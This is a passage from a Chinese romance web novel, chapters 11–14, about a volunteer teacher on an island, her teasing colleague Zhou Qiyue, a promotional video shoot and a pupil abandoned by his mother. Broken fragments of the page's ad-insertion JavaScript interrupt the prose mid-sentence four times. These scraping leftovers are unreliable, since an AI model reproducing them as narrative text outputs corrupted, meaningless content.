"2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 就会突然安静下来,空寂荒凉的感觉。 陈夏柠的手机快没电了,回到宿舍拿上充电宝,急匆匆地跑出去。 最近金鱼巷的游客挺多,吃饭还得排长队,昨天晚饭回来后天都黑了,回来的路上就她一人走夜路,挺吓人的。 她想着今天早去早回,买完饭打包也行。 此刻校门口的晚霞别样壮烈,红紫黄蓝色交相辉映,像打翻的调色盘,正如初次相见,周祈越站在壮阔的天地之间,渺小却亮眼,成为一副画浓墨重彩的一笔。 男人身高体长,比例优越,松松垮垮地倚在门口的石墩子上,弓着脖颈看手机打发时间。 “周祈越?”陈夏柠放缓脚步,他闻声回头,旋即将手机揣回兜里,走过来。 她还没问他怎么还没走,他思维跳脱地来了句:“走吧,去吃饭。” 陈夏柠愣了一下:“嗯?” “我是让你请我吃饭。”周祈越点着她说,“昨天不是说要付出实际行动来感谢我么?” “记得。”陈夏柠反应过来,欣然接受,“你想吃什么?” 周祈越抬脚往前走,“到了再说。” 陈夏柠没再说什么,安心跟他沿着水泥路下坡,左拐是去金鱼巷的方向,也是她唯一比较熟悉的路,但这次周祈越带她右拐,大概走了十分钟,来到一座灯火辉煌的青山镇。 这边建筑白墙黑瓦,屋檐挂满红灯笼,镭射灯打在墙壁印刻出各种的古代名人画像,人流量比金鱼巷少很多。 陈夏柠跟他进入一家农家小舍,主要做家常菜,周祈越努努下巴,示意她看菜单:“想吃什么就点。” 陈夏柠晚上不喜欢吃油腻的东西,勾选了较为清淡的山药炒木耳和炒干豆腐,便将菜单递给他:“剩下的你来选吧。” 周祈越只扫一眼,选的菜也很清淡:“三鲜菌菇汤,椒盐虾。” 等上菜期间,有位阿姨过来给他们倒茶,笑意盈盈地瞧着他两:“你们是来旅游的小情侣吧,快来尝尝我们当地的乌龙茶。” 陈夏柠和周祈越对视一眼,慌张解释:“不是...不是,我们只是朋友。” 阿姨会心一笑:“小姑娘挺害羞的啊,放心,我很欢迎情侣来做客的。” “......” 陈夏柠手足无措地闷头喝茶,也不知周祈越什么表情,暗自抱怨你不是挺能说的嘛,现在当什么哑巴啊。 原本松弛的氛围因一句话又怪异起来,阿姨走后,陈夏柠还在尴尬着,不知该找什么话题。 “叮咚”一声,微信弹窗跳出来,周祈越给她发了张图片。 她这才抬眼看他,男人骨节分明的手指捞起瓷杯,垂着眼,盯着杯中的茶,漫不经心道:“我头像的完整版。” 不曾想他还记得这事。 陈夏柠放大图片。 这副油画有蓝天白云、大海、中间有两个黑色背影,右下角真是一个柠檬。 “这幅画的意思是,两个人在看海么?”陈夏柠觉得这场景挺浪漫,勾唇一笑,“挺好看的,是网图还是你画的?” 周祈越嗯了一声,清透的瞳孔好似一面镜子,倒映出她的模样,“我跟一个朋友合作完成的。” 11. 债主 陈夏柠又解锁他一项新技能,不禁赞叹:“没想到你挺有艺术天赋。” “你没有么?”周祈越记性好到能记住别人说的每一句话,目光灼灼地看她,“不是说,自己是绘画爱好者?” 陈夏柠眸色一沉,意味深长地说:“只是爱好,梦想,在梦里想一想而已。” 思绪一下子拉回刚升高二那年,在父母的强烈要求下,她选择了理科。 其实以高一的成绩来看,陈夏柠文科明显比理科好。 当知道她意愿选文科时,萧婷特意找她谈心,各种好言好语相劝:“夏夏没关系啊,我帮你找个补课老师,绝对能将你的理科成绩提上来。学文科有什么用,大学报志愿选专业太窄了,而且文科要背的东西很多,后期提分很难,妈妈怕你高三跟不上同学,不想你太辛苦了。” 陈夏柠想说学理科不见得多轻松,考验思维和逻辑,提分很难的,但她说不过萧婷,于是相信妈妈是为了她好。 进入高二后,萧婷格外关心她的成绩,请来的家教换了三个,效果甚微。 萧婷开始在陈夏柠身上找问题,发现她参加了学校的绘画社,这才明白她每天上学早放学晚,多半把时间用在绘画上面,连房间也多了好几副素描。 “夏夏,咱专心搞学习考大学。”萧婷来到房间将她画的作品全部没收,“以后别画这些东西了。” 陈夏柠拉着她的手恳求,萧婷态度很坚决,无奈之下她说出自己想当艺考生,大学继续专修美术这件事。 萧婷反应特别强烈,一口回绝:“不行!学美术有什么用啊,你以后可是要继承你爷爷的公司的,你要考的大学应该是海大,进入航运业。” 那一刻,陈夏柠恍然发觉,原来自己的人生早就被安排好了。 爷爷陈淮松创立陈氏集团,国内顶尖的航运公司,膝下有两儿一女,三人皆想继承公司。 外界传闻陈淮松的儿女为争夺家产闹得分崩五裂,老爷子干脆谁也不给,准备在孙子孙女中挑选合适的人才。 长大后,陈夏柠才明白这个传闻是真的,而在孙子孙女当中,陈淮松一直偏爱自己唯一的孙女。 谁会是继承人昭然若知。 所以那个时候,萧婷和陈京辉一个劲儿地给陈夏柠洗脑,她要当继承人。 继承人,管理公司,听起来多么高大上的词。 十七岁的陈夏柠根本提不起来兴趣,她只知道自己要放弃热爱的绘画了。 但当时的她没有选择,只能服从。 因为害怕被抛弃。 事到如今,她这个假千金没有当上所谓的继承人,终究还是被抛弃了。 也没有实现年少时的梦想。 以往想到这些回忆都会心痛,这次她却无感,抑或是已经麻木,坦然接受事实了。 周祈越神色微怔,似乎在等着她的下句。 陈夏柠不想跟别人说起伤心事,只是抿唇一笑,释然的神情:“很正常,梦想这种东西再美好,在现实面前也会输得一败涂地,长大就是一个不断降低期待值的过程,后来发现开心就好,开心最重要。” 周祈越淡笑了声:“想不到乐观的陈老师也会说出这么伤感的话。” “乐观?”陈夏柠惊讶这个形容,“以前我朋友一直觉得我挺消极的。” “那我现在说你乐观,你就是乐观。”周祈越循循善诱,补了句,“人有喜怒哀乐,偶尔伤感也正常。” 陈夏柠怔了一下,稀奇啊,嘴上不饶人的周祈越竟然会安慰人。 但她觉得周祈越应该不会伤感,反而过于乐观,迷之自信,整天当无业游民当上瘾,心安理得摆烂。 这是目前她对他的了解。 不过她也能理解,听说长得帅的人都会自恋,谁让人家有资本呢。 这时服务员上菜打断了他们的谈话,四个菜份量很足,味道也不错。 陈夏柠连续吃了两碗米饭,周祈越貌似胃口不太好,大多是看着她吃。 陈夏柠料想,他肯定在心里念叨她是“饿货”或者“大胃王”。 她撂下筷子用纸巾擦嘴,没由头地解释:“我只是不想浪费。” 其实是因为,来到这里后她根本没吃上什么可口的饭。 学校食堂的饭菜并不好吃,金鱼巷的饭菜也一般,陈夏柠没得选,也不想搞特殊。 周祈越点头嗯了声,看了眼时间,陈夏柠也望了眼窗外黑漆漆的天,急忙起身,主动去前台付款。 老板说:“总共五十。” 陈夏柠掏出手机,暗自惊叹挺便宜呀,下次还来。 抓马的事情来了,她扫二维码,试了三次,手机信号卡死,付款失败。 就在这时,侧面迎来一阵乌木香,气味清淡很细微,连带着主人密不透风的目光。 陈夏柠身高只到他肩膀,完全不敢抬头,明明一句“要不你帮我付”就可以解决,但又不好意思。 事先说好了,她请客的。 她准备重启手机再试一次,前台响起提示音:“微信收款五十元。” 周祈越的身影与她擦肩而过,随口喊了句:“回学校。” “啊,你也回学校吗?”陈夏柠紧跟上去,言下之意这么晚他应该回家了。 周祈越悠悠道:“刚想起钥匙好像忘教室了。” 等走出青山镇,陈夏柠手机信号就好了,趁机给他转一百块钱,顺便问:“上次五十块钱你怎么没收?” “忘了,”周祈越说,“再说我又没说要收费,我这人呢,最不差的就是钱,就特喜欢别人欠我人情。” 说着,他当面点击退回转账,瞥了眼她,像个讨债的债主:“咱俩的账,我慢慢算。” 陈夏柠:“......” 那我还不喜欢欠别人呢,你存心让我不安是吧。 - 也是刷到航海学院公众号发表庆祝中国航海日的准备,陈夏柠这才想起她要在七月十一日前录制好航海义讲的视频发给书记。 上午第一节照旧英语课,一下课,陈夏柠跑回宿舍拿摄像机和三脚架,将装备放在教室后面调试,周祈越说他可以拍摄。 她说了自己的拍摄计划,要有她上课讲解的部分,还要拍摄学生翻阅科普书的场景。 “我觉得你不能一直在台上讲解,中间有必要从讲台下来给同学讲解某个知识。”周祈越给出建议,“视频中要插入一个特写,自然有趣的互动,这个可以等你讲完 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 课件后再取景。” 陈夏柠认为他的建议不错,点头如捣蒜:“行,就按照你说的办。” 上课后,陈夏柠从工作群里拉出学校统一做的航海知识义讲PPT,最新版本她没看过,但临场反应能力很强,全程周祈越在教室后面拿着摄像机随时转变镜头,前半段俩人配合的不错。 后面PPT中间插了一个航海视频,实地取景南海,连带着海浪背景音,令人仿若置身其中。 周祈越的镜头转到陈夏柠,她这时候不需要讲解,但也没专心盯着屏幕,站在讲台的边缘挺错位。 他给她摆手势示意她站中间,陈夏柠并没接受到信号,反倒缩在墙角低头揉眼睛。 学生们正目不转睛地看视频,周祈越悄悄走过去问:“不舒服吗?” 刚好视频结束,陈夏柠抬手按了按太阳穴,嗓音沙哑:“没什么,昨晚熬夜没睡好,现在眼睛有点疲劳。” “那就到这吧,前面的视频剪辑一下也够了。”周祈越说,“休息一会儿,录下一个片段。” “嗯。” 陈夏柠有点心不在焉,回办公室喝口水休整俩分钟,折回来时从后门进来。 周祈越从教室前面走过来,想喊她继续拍摄,路过倒数第三排时,冯志强从座位站起来举着科普书上一个海盗人物,问:“老师,为什么海盗都是独眼龙呢?” 听到这个问题,前后桌的同学跟着投来好奇的目光。 陈夏柠正想走上前替他解答。 “你坐下我跟你说——”周祈越将冯志强按回座位,自己蹲在走道,像蹲军姿那样标准。 陈夏柠收回脚步,顺手捞起旁边的相机。 “不知道你们有没有这种感觉,”周祈越盯着小朋友们的眼睛说,“你课间去操场大太阳底下玩一会儿,听到上课铃声跑回班,视线就会猛然一黑,然后有种晕乎乎的感觉?” “嗯嗯,有有有。”冯志强挠着头说,“小时候第一次遇到这种状况,还以为我得了绝症。” 其他同学笑:“......哈哈哈。” 周祈越抬手揉了下小男孩的头,笑了笑:“这是正常现象,海盗从光线强的甲板上进入黑暗的船舱内,也会和你有同样的感觉。” “独眼眼罩作用在于,可以让一只眼睛长期处于黑暗当中,这样他们从亮堂的室外进入黑暗的室内只需要把蒙住的那只眼睛调整到另外一只眼睛,那么长期处于黑暗的眼睛就不会出现短暂失明,能够快速适应环境,及时应对战斗。” “这个原理就叫暗适应,在开船前,航海员也会提前十五分钟上驾驶台,适应黑暗,给自己缓冲的时间。” 视频中,周祈越侃侃而谈,给同学们科普,认真讲解的模样,反倒不像她所认识那个不正经的周祈越了。 同学们乐呵呵地鼓掌:“哦哦,我们明白了。” 外面的阳光透过玻璃窗折射进来,照亮倒数第三排的区域。 周祈越拍拍冯志强的肩膀让他回头,倏然小朋友们和他一同看向镜头,男人唇角微微上扬,笑容和身后的阳光一样温柔。 “快看,陈老师在偷拍我们。” 在许多双眼睛的注视下,陈夏柠脸颊一热,趁机按下快门。 12. 受害者 周祈越这个出镜刚刚好,陈夏柠直接采用,趁着学生午休时间自己待在教室剪辑视频,她正专注着,周祈越从身后探出头,来了句:“好啊,未经本人允许,私自侵犯我肖像权。” “......” 陈夏柠肩膀猛地一颤,正要抱怨你走路没声嘛,一扭头对上他审视的目光,深知自己理亏,皮笑肉不笑:“那我现在征求你的同意可以么?” 周祈越捞起凳子坐她旁边,抱着双臂,翘着二郎腿,高贵的模样:“我这张脸可不是轻易就能上镜的,更何况要被你们发到网上。” “放心,就发在学院的公众号上面,没多大的浏览量。”陈夏柠视线挪回电脑屏幕,将最后一点剪辑完成,“况且书记要在支教老师中挑选较好的,我的视频能不能被选上还不一定呢。” 再说,你又不是什么公众人物,谁认识你啊。 周祈越依旧不松口:“容我考虑两天。” “......今天就是截止日期了。”陈夏柠露出乞求的小眼神,我着急完成工作量,你别逗我了。 周祈越没正眼瞧她,满脸写着跟我有什么关系。 自恋的人不应该挺喜欢这种正向宣传嘛,他这次拒绝,陈夏柠反而觉得不符合他的人设了,突然来了句:“你不会是什么通缉犯吧?” “......” 周祈越扭回头,嗤笑她的脑回路,本能地想抬手敲她脑门,像对待学生那样,陈夏柠以为他要打人,应激地往后躲。 他曲起的手指悬在半空,顺势往下一划,指着她右肩膀。 陈夏柠偏头一看,有只黑色的害虫,指甲大小,她不紧不慢地掏出纸巾抓住它,然后丢垃圾桶里。 目睹全程的周祈越,惊呆了几秒。 陈夏柠重新坐回来,发觉他异样的眼神,引以为傲道:“我还养过昆虫呢。” 周祈越唏嘘了声,以为她天不怕地不怕,“那你会养老鼠、蛇、蜥蜴.......” 陈夏柠听得鸡皮疙瘩都要起来了,打了个停的手势。 其实她之前胆子特小,什么昆虫小动物,她都害怕,猫猫狗狗也不敢近距离接触。 但在澳洲读研,有个室友是昆虫爱好者,人称法布尔转世,整天收集各种昆虫放在玻璃瓶中观察,陈夏柠天天在寝室里看见这些东西,被迫脱敏,不害怕了。 陈夏柠将剪辑好的视频保存,说了句完成。 周祈越侧过身,右手搭在鼠标,点击播放视频,总共三分钟,果然狗嘴里吐不出象牙:“你确定要这样发出去?有一种为了完成作业而完成作业的敷衍感。” “你懂什么,宣传视频就是这样简单的才好。”陈夏柠急于反驳,激动地偏头瞪他。 周祈越垂下眼,目光顿了顿,嗓音低沉:“说话不带这样、搞人身攻击的。” 陈夏柠这才注意到自己鼻尖快要抵到他下颌,差不多两厘米,慌里慌张地拉开距离,将脸侧到另一边,尴尬地咬了咬唇。 这就叫人身攻击了? 刚刚你想打人的架势才叫人身攻击吧。 沉默半响,桌面企鹅号的工作群发出滴滴的声响。 周祈越轻咳了声:“你要不参考一下你同事发的。” 陈夏柠直直地盯电脑屏幕,生怕分给他一个余光,被他大做文章。 工作群里已有三位导员发自己录的视频,观后感可以概括为,内容丰富,各种花里胡哨的运镜专场,剪辑特精彩。 不曾想连录个宣传视频都这么卷,陈夏柠不禁叹口气:“就这样吧,我不想重录了。” “别啊。”周祈越阻拦她想按发送键,直接将电脑挪到自己面前,“我出镜的视频怎么能随随便便呢。” 陈夏柠眼前一亮,一秃噜嘴口不择言:“这么说,你同意我侵犯你的肖像权了?” “......” 周祈越选择视频的毛片,重新排序剪辑,权衡利弊悠悠道:“比起人身攻击,我宁愿舍弃肖像权。” 这话形容得她变成了一个企图占他便宜的女流氓,而他是个岌岌可危的受害者。 她一字一顿地强调:“我、没、有。” 周祈越:“嗯,你没有。” - 如果按照其他三位同事的标准,那么视频中还应加入学校的风景,学生们户外活动的场景。 陈夏柠只是喜欢拍照,但摄影并不是专业的,周祈越主动包揽了这个任务,让她下午该上课上课,该带学生室外活动就室外活动,在镜头面前保持自然就行。 按照教学安排,下午第一节督促学生做暑假作业。第二节是她自创的课堂游戏,学生们转到室外空地,没有书桌,只有凳子,大家围坐一圈。 老师站在中间拿着手机播放儿歌,学生手里有个水果互相传送,在她按下暂停音乐时,拿到水果的学生要回答问题,问题范围是她讲过的航海知识,答对的学生可以得到水果,类似于击鼓传花这种游戏。 老师:“请问,明朝时期是哪位航海家下西洋,拉开了人类远洋航行的序幕。” 学生:“郑和!” 老师:“请问,世界航海日和中国航海日分别是哪一天?” 学生:“3月17日和7月11日。” ...... 这种有奖励的头脑风暴效果不错,陈夏柠准备的一袋苹果和橘子都发完了。 在一旁拍摄的周祈越给她打了个OK的手势,陈夏柠指挥着学生有序把凳子搬回教室,距离放学还有十分钟,她让学生们自由活动。 学生们一蜂窝玩起了老鹰捉小鸡,陈夏柠和周祈越正站在走廊下回看视频,冯志鑫跑过来分别牵起他两的手,“陈老师当鸡妈妈,周老师当老鹰。” 陈夏柠:“......” 周祈越:“......” 一天悄无声息地收官在落日,今天的晚霞竟然是粉红色,像粉色的泡泡在天空中蒸腾发酵。 先前都是站在一边看学生玩耍,现在加入他们的游戏,陈夏柠觉得自己也变成了小孩,大小孩带着小小孩排着弯曲深长的队伍,她挡在前面阻挡老鹰的攻击。 前面几轮,周祈越攻势不强,跟她保持着距离,一起逗小孩。 陈夏柠累得满头大汗,快要放学了,学生们玩得正尽兴,正想着该怎么结束游戏,恰好这时老鹰发起最后通缉,以极快的速度绕到她身后,一手抓一只小鸡。 游戏结束,放学铃声响起,开校车的司机师傅站在不远处吆喝着:“小朋友们回家了回家了。” 陈夏柠的衬衫衣摆猛地被松开,弓着腰在原地大喘气,学生们作鸟兽散,忽地,她被乱跑的学生撞了一下,整个人踉跄着往前倾。 场面有些混乱,好像有个身影从面前走过,然后她手臂抵在胸前,撞进一面宽阔温热的胸膛,隔着单薄的衣物,男人坚实的肌肉硌得她骨头疼。 顷刻间, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 空气好像凝滞,时间好似定格,两人被电击一般随着场面静止。 周祈越双手悬空着无措安放,喉结翻滚了下,呼吸有些紊乱:“没想到你已经猖狂到要在大庭广众之下,发起人身攻击了。” “......” 救命!救命! 陈夏柠忙不迭从他怀中起开,庆幸场面足够混乱,学生在拎着书包跑向校车。 应该没有人看见吧。 可恶!又被他装到了。 她总觉得自己要扳回一局,好整以暇道:“被迫害妄想症是一种病,这边建议你尽早医治。” “......” 说完,灰溜溜地逃走。 她也不知去哪,假装回寝室当缩头乌龟。 大概过了十分钟,陈夏柠料想他应该回家了,从寝室探出头准备去吃晚饭,手机传来他的消息:【来三年一班】 陈夏柠:“?” 三年一班在教学楼一楼最西边的教室。 周祈越站在门口等她,眼神示意她看里面,第二排的位置,有个胖乎乎的小男孩在趴着睡觉。 “王小壮,王小壮。”陈夏柠凑到他桌前喊他。 他迷迷糊糊地抬起头,揉了揉眼睛,呓语着梦话:“妈,你回来了。” 陈夏柠问:“校车都已经走了,你怎么还没回家呀?” 王小壮反应过来自己在教室,晃了晃脑袋,难得乖巧地说:“我打扫完卫生就困得趴桌子上睡觉了。” 陈夏柠恍然想起她罚他和肖思明扫一星期的地,心一软,说:“好了以后不用扫了,记得别私自外出了。” 王小壮点点头。 “走吧,我送你回家。”陈夏柠站起身,把他从座位拉起来,边问他家在哪。 俩人走出教室,周祈越抬头说:“我送吧。” 陈夏柠低头看了下王小壮,他对周祈越有敌意,瞬间躲在她身后,不情愿的模样。 “没事儿,他家不算很远。”陈夏柠在导航上搜索平芜村,步行大概十五分钟。 然而真正走过去会花费更长的时间,主要是一路有好多上坡和下坡。 天空快被蒙上一层黑布,陈夏柠牵着王小壮的手,打着手机灯光走的很慢,也在闲聊天。 陈夏柠倏然想起他说的梦话:“小壮,你是不是想妈妈了?” “没有。”王小壮斩钉截铁地否认,“我没妈妈,只有爸爸,爷爷和奶奶。” 意识到自己说错话了,陈夏柠急忙道歉,试探性地问:“那平时家里是谁在照顾你呢?” “爷爷和奶奶,”王小壮语速放缓,“爸爸去外面打工了。” 陈夏柠嗯了一声,好言相劝:“爷爷奶奶照顾你,你以后听话一点,别在学校给同学打架了,好好学习呗。” “是他们先招惹我的,”王小壮哼哧一声,以牙还牙的性格,“谁欺负我,我就欺负谁。” “......” 陈夏柠张了张口正想说什么,身后响起鸣笛声,黑夜中有一道刺眼的白光射过来。 她拉着王小壮靠边站,一辆白色的电动停在旁边,是周祈越。 他朝俩人喊了声:“上车。” 陈夏柠打量了下后面的座位:“三个人挤不下吧。” “怎么挤不下,”周祈越瞧着她说,“你坐后面。”然后朝小孩示意前面的空隙,“你蹲前面。” 王小壮:“......” 13. 暴发户 陈夏柠坐上车后,王小壮愣是杵在原地不愿上他的车,这小孩挺要强的,还在记恨周祈越要报警抓他的事。 “行,你不坐就走回去吧。”周祈越偏头看他,故作好意地提醒,“你一个人悠着点啊,别被什么人贩子和野兽抓走了。” 原本没觉得有什么,他这么一说,陈夏柠望着这月黑风高的田间小路,心里都发怵了。 她只当他在吓唬小孩,谁知下一秒周祈越来真的,一拧把手,俩人随着电动车嗖的一下往前冲。 三秒之后,身后传来脚步声,以及王小壮的啜泣声:“别丢下我......” 周祈越把人捞上车,慢悠悠地往前行驶,低头看了眼蹲在前面哭的小孩,挺想笑:“小小年纪装逼挺厉害,脾气死倔,想上车就上车呗,非要硬装一下,最后难受的不是你自己?” 王小壮委屈巴巴地呜呜着,这会不嘴硬了。 陈夏柠曲起指关节敲了下他肩膀,示意他不要说了。 “男子汉大丈夫有什么说不得的,”周祈越并未听劝,愈发来劲,“你要真有种就立马给我擦干眼泪,否则我小看你。” 没想到还真有效,王小壮立马不哭了。 沿着柏油路抵达平芜村,这里的房子基本是小平房配备一个小院,按照他的指示,电动车停在一栋屋檐亮着灯光的门前,大门半开着,听到动静声有人从离开出来。 只见王小壮火速下车搀扶拄着一位拄着拐杖的老人,亲切地喊着:“奶奶我回来了。” 见状,陈夏柠也急忙下去,近距离目睹老奶奶悬空着手游离了几下才摸到孙子的头,“今天怎么回来这么晚啊?” “王奶奶您好,我是王小壮的暑期支教老师,”陈夏柠说话间盯着对方的眼睛,反复确认老奶奶看不见她。 “啊老师也来了。”王奶奶担忧道,“小壮是不是闯祸了。” 陈夏柠温声道:“没有,他只是今天错过校车,我们送他回来了。” 周祈越停好电动车加入话题,询问后获知,王奶奶每天都会等孙子和王爷爷一起吃饭。 今晚俩人都回来的晚,孙子回来了,王爷爷下午去清理鱼塘现在还没回来,王奶奶非要继续守在门口等老伴。 外面的蚊虫挺多,也为了让老人安心,周祈越给陈夏柠一个眼神,主动提议:“这样吧,我和王小壮去找爷爷,你先陪奶奶进屋吧。” 王小壮暂且放下个人恩怨,点头说好,王奶奶激动地跟他道谢,周祈越拉着王小壮上车。 陈夏柠扶着奶奶进屋,回头望他一眼,俩人的视线相撞,他眼角弯了弯。 “王奶奶您不用担心,等会儿他们都回来了。” “好。”王奶奶笑着应声,牵着她进正屋客厅坐着,虽然看不见但对家里的摆设熟悉,热情地要给她泡茶喝。 陈夏柠谨慎地跟在她后面,王奶奶说他们这边盛产茶叶,来客人要将家里上好的茶水给客人品尝,这是礼仪。 陈夏柠吹着杯中的茶叶,陪奶奶聊天,老人家话茬子一打开就容易收不住。 “小壮妈妈受不了贫苦日子,在他五岁时就跟他爸离婚了,现在他爸爸在外面打工,我和老头子就守着这个家,照顾好小壮。” 陈夏柠正小口抿着茶,闻言动作一顿,眼底稍暗:“那小壮的妈妈有回来看过他吗?” 王奶奶摇摇头:“她说过,不要小壮了。” 不要他了。 陈夏柠握杯子的手猛地一颤,将玻璃杯放到茶几上,意识到话题沉重,话锋陡转:“奶奶您吃饭了没?” 奶奶说:“还没,原本想着等老头子回来再做。” 陈夏柠站起身,笑了下:“我帮您做饭吧。” 俩人一起做饭也在闲聊天,没感觉到时间的快慢,农村的厨房保留着灶台,用柴火烧饭,陈夏柠炒完最后一道番茄炒蛋,整个屋里烟雾缭绕,极其呛人。 她咳嗽了几声,脚步刚踏出门框,一只坚实的手掌拉住她的手臂,连带着她整个人往外扯。 周祈越把她拉到庭院,自己前去探身查看状况,“怎么回事,你烧房子了?” “......” 陈夏柠正想说我在做饭,偏头看到王小壮拉着王爷爷回来,“你们回来的挺快啊。” 王爷爷和王奶奶年龄刚过六旬,整体偏清瘦。 听说王爷爷曾当过校长,举止谈吐像位老书生,他拍了拍身上的灰尘,前来道谢:“我和周老师在半路遇上了,今天真是麻烦二位老师了,不如留下吃个晚饭吧。” “不麻烦不麻烦。” 陈夏柠正纠结着怎么婉拒对方,却听见周祈越拉着王小壮站在厨房门口,指着屋内问:“这是干嘛的?” 王小壮挠了挠头,满脸写着你认真的么,“这是厨房啊!” 周祈越长哦了声:“能做饭的那种?” 王小壮:“......?!” 陈夏柠喊了声他的名字,周祈越回头看她,抢先来了句:“咱赶快走吧,我看天气预报,等会要下雨。” 陈夏柠便以要下雨婉拒王爷爷,王爷爷送他两出门,周祈越启动电车前跟爷爷摆摆手:“明天见。” 回去的路上,陈夏柠坐在后座没吭声,过分安静。 周祈越听到叹气声,主动打破沉默:“怎么了?你和王奶奶聊什么了?” “知道了王小壮的家庭情况,他妈妈抛弃了他。”陈夏柠脑海里浮现那个叛逆嚣张的小男孩,自我惭愧道,“突然觉得自己这个老师当得挺失败的。” 周祈越:“为什么这么说?” “他跟肖思明打赌出去钓鱼是受不了别人说他拖油瓶,我们在外面玩老鹰捉小鸡的时候,他一个人在班里打扫教室,甚至今晚他追在电动车后面说,别丢下我。”说到这,陈夏柠越发辛酸王小壮的另一面,也在辛酸自己,因为他们都害怕被抛弃,“反正觉得自己罪大恶极,在无形之中忽略了他。” “别这么说,事物皆有两面性,人也是如此。”周祈越此刻化身一位疏导她的老师,循循善诱,“表现自己的阳光,藏住自己的阴暗,这是人的本性。而你愿意接受学生的背面,说明你是个好老师。” “好老师?”陈夏柠深知自己担不起这个称呼,“说实话,我当辅导员完全只是为了有份工作,我甚至都不知道自 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 己适不适合这份职业,能不能做好。” 转了一个弯进入下坡,周祈越控制好速度,留心前面的路况边说:“尽力而为,超越自己,你会发现自己能做很多意想不到的事。” 陈夏柠轻笑了声,莫名被这句话鼓舞到。 的确是这样的,学生时代她性子柔弱,后来能成为导员管理学生,以前害怕一个人生活,后来能孤身在国外待三年。 甚至包括,此刻能和周祈越心平气和地谈心,都是意想不到的事情。 “至于王小壮,”周祈越说,“或许他只是采取了大家不易接受的自我保护方式。” 陈夏柠点头嗯嗯两声,心情舒畅许多,这算是第二次她把自己的另一面展现给了他,便开始好奇周祈越:“还不知道你的另一面。” 林梅说他创业失败,陈夏柠感受不到这事对他有什么影响,他这人心态异常得好。 周祈越坦坦荡荡道:“我就这样,你所看到的就是真实的我。” 陈夏柠才不信这套措辞,开始细想一番,恍然想起他指着王小壮家的厨房,“对了,你没见过烧柴的厨房吗?” “好像在电视上见过,今天竟然见到实景了。”周祈越一脸认真地说,话音刚落,车子停。 不知不觉路过金鱼巷,陈夏柠就想买份炒面,站在店门口等老板打包,周祈越正低头给周诚发消息。 周诚:【周祈越你狗不狗,偷电动车偷上瘾了?!】 July:【咱俩做个交易,用我的车换你的电动使用权。】 创业失败后他输得身无分文,连自己心爱的宝马都卖了,只能沦落到骑电动车的地步,偏偏周祈越开了辆黑色大G来找他,整天馋死他了。 听到要换车,周诚立马来劲儿了:【多长时间?我没听错吧,你他妈别逗我。】 July:【我走的时候。】 周诚:【你别走了,朝阳岛欢迎你住到地老天荒。】 July:【......】 周祈越将手机揣回兜里,一抬头,发觉陈夏柠正在瞧他,倒不如说,浑身上下的打量。 “干什么?” 陈夏柠拧着眉,是真的不理解:“你住在这个岛上,没吃过柴火饭?” 周祈越在周诚家里也没见过,挑着眉:“我记得上世纪80年代煤气就在中国普及了,在我出生以前。” “......” 话虽如此,他出生在这座岛没见过灶台挺匪夷所思的,连她就见过,爷爷爱做慈善,经常带她去各乡镇里面,陈夏柠吃过柴火饭,见多了还会做。 按照曾经的所见所闻,陈夏柠将自己的揣测说出来:“你家里应该有好几头牛,包了好几亩地,村里的暴发户,对不对?” 周祈越嘴角抽了下,笑的肩膀发颤:“你对我家这么了解?” “只是猜测啊,我又不是调查户口的。”陈夏柠冠冕堂皇地解释自己的好奇心,“咱俩算是朋友了吧,我只是觉得你挺神秘的,整天无所事事,不用担心工作,还不缺钱的样子。” 周祈越抱着双臂,好整以暇地觑她,笑着点头:“差不多,还有几艘破船。” 14. 替身 陈夏柠刚拿到炒面,天空开始掉落小雨点,周祈越喊她上车,在雨变大前将她送回校。 跑到宿舍时,陈夏柠将炒面放到桌上,转去关窗户,雨水骤然变急,砸在地面哗啦啦作响。 周祈越肯定要淋雨了,也不知他家远不远。 她也淋了一点雨,不过不打紧,用毛巾擦了擦额头,只能等雨小了才能出门去公共浴室洗澡。 陈夏柠坐在桌前趁热吃炒面,捞起手机想给他发消息又犹豫了一小会儿,主要是害怕周祈越“大作文章”,后来想着他是因为送她才耽误回家,作为朋友兼同事,关心一下是基本礼貌便打消了顾虑。 Lemon:【雨下大了,你到家了吗?】 没有立刻得到回复,应该是没到家。 陈夏柠边刷剧边吃饭,吃完炒面雨也停了,她拿起换洗衣服和盆出去洗澡。 人是轻轻松松出去的,回来是火急火燎的。 只要忙起来她就容易忘事,差点忘记今天她要把视频发给书记的。 下午周祈越帮她补录片段,她还没剪辑最终版本。 打开电脑往群里一看,其他三位导员发送完毕,十分钟前书记还在艾特她催她交视频,明天就是航海日了。 陈夏柠正在对话框里敲字找措辞,微信弹窗跳出来。 July:[视频] July:【视频剪辑好了,到家了。】 简直就是及时雨。 陈夏柠看都没看,莫名相信他,下载视频发到企鹅号里面:【不好意思书记,忙忘了。】 书记回复了个OK的表情包,没再说什么。 陈夏柠舒缓一口气,工作群里就她资历最浅,刚上任不久,还在考察期。 所以这四个月以来,她做什么事都比其他同事积极,主动请缨来朝阳岛也是,生怕别人觉得她无法胜任这份工作。 Lemon:【周大神,太感谢你的及时相助了,让我及时完成任务。】 周祈越发来一个表情包上面写着:不听不听王八念经。 “......” 陈夏柠反应倒也快,想起上次她道谢。 ——“我耳朵都要起茧子了。” ——“别光是嘴上说说,你倒是付出点实际行动啊。” 她推测,周祈越这人是行动派,不喜欢口头客套。 陈夏柠本着要还人情的道义:【那明天我请你吃饭?】 - 次日早饭后,学生还没来,陈夏柠正无精打采地趴在办公室,像霜打的茄子。 林梅进来时看见她这般模样,还以为她上次生病没好全,多问了几句。 “没有,我应该是昨晚没睡好。” 陈夏柠不以为意地说,倒是纳闷校长今天怎么有空来了,平日很难见到她身影。 林梅说这几天在处理茶农纠纷和经销商的事,最近全权让学校的事撂给她,发生了什么事,林梅心知肚明,这会儿深感抱歉:“这样吧,今天你和周祈越休息一天,我自己看着他们就行了,刚好我今天空闲。” “怎么能让校长你一个人。”陈夏柠啊了声,俩个人管理小学生都很疲惫,一个人只会更累。 